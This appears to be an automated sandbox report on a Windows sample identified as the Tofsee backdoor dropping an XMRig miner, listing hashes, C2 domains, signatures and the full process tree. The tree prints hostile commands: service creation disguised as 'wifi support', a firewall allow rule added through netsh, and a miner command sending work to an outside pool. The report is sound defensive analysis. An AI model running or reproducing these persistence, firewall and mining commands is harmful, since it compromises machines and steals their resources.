Analysis

  • max time kernel
    150s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 19:58

General

  • Target

    bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe

  • Size

    147KB

  • MD5

    1b8099400f9b3df55bb4b9a6b4e0b849

  • SHA1

    9f737eeb8a5b084511a4b655cb5ace0413d2ed8b

  • SHA256

    bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b

  • SHA512

    da97e8411dc9cc7427906a427a3cd36bfcba2e6881c54764234588d6e1371339753469ddba9635366c51b58eb0314fe76235e96db011d59274cd6ca03bea9193

  • SSDEEP

    3072:rsL7PaCvJSVUn5fOkOVCvvj8n/NTWYtWmxP88xq9:gWCvJSVgOktHjufWm1E

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe
    "C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\szxkxkkp\
      2⤵
        PID:4200
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hwkhagcf.exe" C:\Windows\SysWOW64\szxkxkkp\
        2⤵
          PID:4616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create szxkxkkp binPath= "C:\Windows\SysWOW64\szxkxkkp\hwkhagcf.exe /d\"C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description szxkxkkp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start szxkxkkp
          2⤵
          • Launches sc.exe
          PID:256
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1888
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3324 -s 1040
          2⤵
          • Program crash
          PID:4504
      • C:\Windows\SysWOW64\szxkxkkp\hwkhagcf.exe
        C:\Windows\SysWOW64\szxkxkkp\hwkhagcf.exe /d"C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3840
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2404 -s 512
          2⤵
          • Program crash
          PID:3656
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3324 -ip 3324
        1⤵
          PID:2456
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2404 -ip 2404
          1⤵
            PID:1628

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hwkhagcf.exe
            Filesize

            11.2MB

            MD5

            b31d60bbb1b789f03864d37c4a3ebb9f

            SHA1

            d55565a49c3192f63ffc49b18b473c3321a4d44c

            SHA256

            33e67d46da858bd01981fcb9818b143073f019066a363221120cc2cb3c3507f2

            SHA512

            4f540d11b0cf29279db5e69f36c63594e32916bdceeddf8c6cf1d4297592339a4f54b3e9efbc3e0ab835b26eeeb750e4d0815f359c399dd2ee96140c33e2233b

          • C:\Windows\SysWOW64\szxkxkkp\hwkhagcf.exe
            Filesize

            11.2MB

            MD5

            b31d60bbb1b789f03864d37c4a3ebb9f

            SHA1

            d55565a49c3192f63ffc49b18b473c3321a4d44c

            SHA256

            33e67d46da858bd01981fcb9818b143073f019066a363221120cc2cb3c3507f2

            SHA512

            4f540d11b0cf29279db5e69f36c63594e32916bdceeddf8c6cf1d4297592339a4f54b3e9efbc3e0ab835b26eeeb750e4d0815f359c399dd2ee96140c33e2233b

          • memory/256-140-0x0000000000000000-mapping.dmp
          • memory/1112-157-0x00000000023F0000-0x00000000023F6000-memory.dmp
            Filesize

            24KB

          • memory/1112-146-0x0000000000000000-mapping.dmp
          • memory/1112-169-0x0000000002FF0000-0x0000000002FF7000-memory.dmp
            Filesize

            28KB

          • memory/1112-166-0x0000000007B00000-0x0000000007F0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1112-163-0x0000000002FE0000-0x0000000002FE5000-memory.dmp
            Filesize

            20KB

          • memory/1112-160-0x0000000002E10000-0x0000000002E20000-memory.dmp
            Filesize

            64KB

          • memory/1112-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1112-153-0x0000000000D80000-0x0000000000D95000-memory.dmp
            Filesize

            84KB

          • memory/1112-152-0x0000000000D80000-0x0000000000D95000-memory.dmp
            Filesize

            84KB

          • memory/1112-147-0x0000000000D80000-0x0000000000D95000-memory.dmp
            Filesize

            84KB

          • memory/1888-142-0x0000000000000000-mapping.dmp
          • memory/2068-138-0x0000000000000000-mapping.dmp
          • memory/2404-151-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/2404-150-0x0000000000D69000-0x0000000000D79000-memory.dmp
            Filesize

            64KB

          • memory/3100-139-0x0000000000000000-mapping.dmp
          • memory/3324-144-0x0000000002820000-0x0000000002833000-memory.dmp
            Filesize

            76KB

          • memory/3324-133-0x0000000002820000-0x0000000002833000-memory.dmp
            Filesize

            76KB

          • memory/3324-132-0x0000000000B8E000-0x0000000000B9E000-memory.dmp
            Filesize

            64KB

          • memory/3324-134-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/3324-145-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/3324-143-0x0000000000B8E000-0x0000000000B9E000-memory.dmp
            Filesize

            64KB

          • memory/3840-173-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/3840-178-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/3840-172-0x0000000000000000-mapping.dmp
          • memory/4200-135-0x0000000000000000-mapping.dmp
          • memory/4616-136-0x0000000000000000-mapping.dmp